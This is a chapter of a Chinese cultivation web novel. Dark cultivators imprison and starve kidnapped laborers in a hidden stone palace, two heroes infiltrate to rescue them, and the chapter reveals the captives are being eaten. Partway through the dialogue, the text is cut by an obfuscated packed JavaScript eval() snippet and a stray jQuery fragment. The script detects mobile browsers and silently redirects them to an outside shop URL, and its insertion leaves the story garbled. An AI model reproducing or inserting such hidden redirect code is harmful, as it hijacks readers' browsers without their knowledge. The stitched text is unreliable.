南城外,山体之中隐藏着一座谁都不知道的石质宫殿。这宫殿占地极广、体量恢弘,但细看却形制粗粝、造型朴拙,似乎是某种匆忙之下未完工的宏伟建筑。
大殿正中矗立着一块刻满繁复古纹的巨石,巨石下方地面上镌刻着一座五边形阵法,阵法的每一角都静立着一名黑袍人。
这五名黑袍人纷纷低声默念,而脚下的阵法符文也随之泛出不详的红光来。这红光涌向巨石,在其上纹路中循环一遍,再次通过脚下的阵法进入这五名修士体内。
而在下一层同样的位置有着一个形制相似的阵法,不过较上面的更大,且中心未有巨石。
这一层更远处有着十几间与宫殿整体风格格格不入的粗糙石屋,阴沉矮小,门上皆拴着铁链,只有旁边开着一扇狭小的窗户,这是用来便于巡视人员观察内部情况的。
石伟有些萎靡地缩在角落。
房间内还有和他神情相仿的几人,皆是看起来年纪不大的青年男性,衣着也多显得简陋朴素。
——这些都是南城中被高薪厚禄拐骗而来的青壮年们。
突然,有脚步和锁链声音响起,紧接着就是一阵喧闹和叫骂。然而直到这声音逐渐远离,屋内也无一人试图从小窗口中看一下情况。
若是在几天前,还不至于如此。
石伟因为外面的动静微微抬了抬眼皮,然而胃部因饥饿产生的绞痛和乏力的四肢不支持他做出更大的反应。
他被关起来已经有五天了。而他还算得上是这个屋里最晚进来的一批人。
五天前,石伟和父亲还在因为获得了一个好活计而欣喜,暗中庆幸旁人家中最多只有一人被选中,而他们家竟然幸运地被选上了两人。
这也是因为石家的遗传好,石老爹不到四十,身板依旧结实硬朗,而石伟今年十七八,身高就已经超过了老爹。
出发前,他们一家人就在一起合计。两人做完这一趟,回来后可以好好歇上一阵,可以不用在入冬天寒时还早出晚归出去和别人争夺那少有的活计。石伟还想为弟妹添置一件新衣服,为母亲的冬衣添棉,一家人好好地过个年节。
石家父子二人属于最后一批进入宫殿的劳工,也是被安排正儿八经做了几天工的,甚至雇主还提供了丰盛的伙食。
石伟还听一起做工的其他同乡们讲述之前几天也是这样的待遇,都纷纷喜不自胜,开始畅想美好的未来。
是从什么时候开始变化的呢?
石伟的思绪迟缓,想到了那夜惊醒所有人的地震。
从那时起,工作被叫停,所有人被看守起来,后来关进了这如同牢房一般的石屋内,连食物都不再提供。
都是年轻力壮的男性,最开始他们当然试图反抗过。可领头的黑袍人只是一抬手,就将几个闹得最凶的年轻人瞬间碾成几截、肢体分离。
石伟仍记得自己当时和父亲挤在人群中,看到最前方那几人变得破碎的肢体,有一人的脑袋明明都已经分离,但当石伟望过去时却分明看见了对方又痛苦又茫然的表情,而那双眼睛还在四处张望,似乎是在寻找自己的身体一般。
他做了好几天的噩梦。
见识到那么恐怖的力量之后,他甚至都再难生出几分反抗的心思来,整日昏昏沉沉缩在角落中,似乎是在等待头上那把悬而未决的刀什么时候能宣布对自己的审判。
昏暗的房间内忽然传来一声低低的呜咽。
“救救我……”
“……闭嘴吧,谁会来救我们?”又有一人低声搭话。
石伟的心一下子揪了起来,感同身受地生出几分悲哀。
是啊,像他们这样的人,谁会来救?
他甚至都不清楚外面的人有没有发现这是一场骗局,会不会还以为他们是得了好活计,等着他们赚大钱回来?
“我,我不想死啊……!”
最初发出声音的人终于是忍耐不住了,猛地站起身,踉踉跄跄地扑到狭窄的窗边。可还没等旁人去阻拦,他却是像被什么抽去了筋骨般贴着墙瘫软了下来。
“呼——呼——”
那人的□□得吓人,就连隔着挺远的石伟都听出了其中的异常。
“怎么了?”显然发现异常的并不止他一人,很快就有人发问了。
“他、他们……”那人仿佛呓语般抖了两下,突然手脚并用地向着最里面的方向爬去。
有人抓住了他的肩膀,但却被猛地甩开,那人只是拼了命地向着里面爬去。
石伟微微抬起头。他已经有些看不清楚,只能感觉似乎有人在向着自己的方向靠近,直到触碰到最里面的墙壁后才停了下来,蜷缩成一团抖如筛糠。
屋内众人都有些不明所以,但没人去窗边看一眼。
他们都被饿了许多天,就连说话的力气都得省着用。
就在这时,似乎被这屋里的细微动静吸引,有脚步声“哒哒”地逐渐靠近。众人皆是屏气凝神,石伟却能感觉到身边的那个人抖得更厉害了。
他莫名有种不祥的预感。
锁链声响起,门被打开,光芒从门口涌入。可却没人敢靠近那光明。
一个黑袍人站在门口环顾一圈,径直朝着角落的方向走来。
石伟的心砰砰直跳,第一次恨自己为什么长得如此高大,在这种情况下没法完全将身体缩进阴影。
“求求你,求求你,不要吃我,不要吃我……啊!”
身旁人哆哆嗦嗦的声音响起,随着一声惊叫,石伟感觉到一只干瘦但大力的手扣在了自己的后颈上。
他被拖出了石屋,连同那个一直在因恐惧而颤栗的人一起。
他看到了那人究竟在恐惧什么。
血迹、残-肢、内-脏……如同点缀一般散落于泛着红光的阵法之上,形成一副惊悚的画卷。
……
山林深处,方明安几次欲言又止。
在他面前,红色的虚影半蹲着,一只手伸出虚贴在地面上。过了一阵后虚影站起,喻君指挥着他更换地方。
他们已经是第四次重复这样的动作。
“有话就说。”喻君自然是注意到了他的小动作。
方明安摸了摸鼻子,谦虚请教道:“咱们这是在找什么吗?”
“找入口。”
“入口?我们不能直接打进去吗?”
喻君闻言停下了动作,非常刻意地看了方明安一眼。
“当然可以。”她慢条斯理地说道,“直接打进去,在不知内部结构的情况下造成山体崩塌,然后将邪修和人质一网打尽。嗯,也不失为一个好办法。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542539|203980||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“哈哈,”方明安干笑两声,“您继续。”
喻君也笑了笑,“不必,已经结束了。”
“这就结束了?这么快?”
“这很简单,换做平时就是看一眼的事。不过我不清楚里面的邪修水平如何,为了避免打草惊蛇只能麻烦一点了。”
说着,喻君抬手搭在方明安的肩膀上,示意他做好准备。方明安连忙将身上的斗篷扯了扯,试图将脸遮严实一些。
喻君只是看了他一眼,身上红光一闪,一步迈出。
方明安只觉眼前一花,下一秒就身处一座阴暗的石质宫殿之中。
待双脚踏足实地,无需喻君提醒,他便深吸一口气立刻朝着一个方向狂奔而去。
在他的怀中,一块其貌不扬的小金属片正散发着不属于它本身的温热,时刻提醒他目标所在的方向。
这是在此之前两人就已经确定好的方案。
这处宫殿上下共三层,其中一层阴气最重,二层灵力最强,三层人气最多。据喻君判断一层二层应当是邪修的主要活动区域,而第三层则是关押着之前被拐骗的凡人青壮们。
因此,由喻君率先对邪修发起攻击以吸引注意,方明安则携带着喻君制作的“指·石家父子·针”,前往三层确认被关押者的情况。
方明安很快跑远,当原地的喻君视线中已经看不到他的身影时,系统空间中的喻君却还能借助绑定的第三方视角看到正在奔跑的少年。
没错,此时在现实中显现身形的喻君并非完全脱离系统空间,而是将自己的意识分成两部分。在这种情况下,只要和方明安的距离还在限制之内,她不仅可以共享两边的视角,还能够保持和对方的对话。
这种操作听起来复杂,但对于喻君这种早就度过化神期的待飞升人士来说不过是基操。
倒像是一对蓝牙耳机。
被自己的想法逗笑,喻君确定了一下方明安的位置,只是心念一动就瞬间出现在了石质宫殿的第二层。
脚下是有着奇异符文的巨石。
面前是仍旧沉浸在阵法循环反哺中的五名邪修。
她的出现无声无息,没有被任何人察觉。
这不仅是因为失去肉身后的特殊体质,更是强大境界带来的绝对气息隐匿。
而喻君却在看清了阵法的效果后皱起眉,眼中闪过一丝明显的厌恶。
阵法这种东西,简单来讲就是由几种特定的框架搭配上不同功效的符文,只要能够完成运行逻辑的闭环并且符合灵力运转规律那就能够运行。因为搭配的不同、运行条件的不同,也影响了运行的效果和效率,这也就有了低中高三种等阶的区分。
擅长此项的修士可以根据自己的需求来设置阵法,也能凭借对各类符文的了解大致判断不同阵法的效果。
而普通的修士也能通过复刻制式的阵法来达成目的。
眼前的这个阵法并非属于后者,喻君不曾见过。但她熟悉其中的几个符文,因此便也能大概看出这阵法的效果。
血肉化灵,就是将生灵的血肉转化为能为修士所吸收的灵气。
这种符文常常绘刻在器皿或者丹炉之上,用于烹饪或者炼制特定的丹药。
而当这种符文被用在这里则意味着——
他们在吃人。